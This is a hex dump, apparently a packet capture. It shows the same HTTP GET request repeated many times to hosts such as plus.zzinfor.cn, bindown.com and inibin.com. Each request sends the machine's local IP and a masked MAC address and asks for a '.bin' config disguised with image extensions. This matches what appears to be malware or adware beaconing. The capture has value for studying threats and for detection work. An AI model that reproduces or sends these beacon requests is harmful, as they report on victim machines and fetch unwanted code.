0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
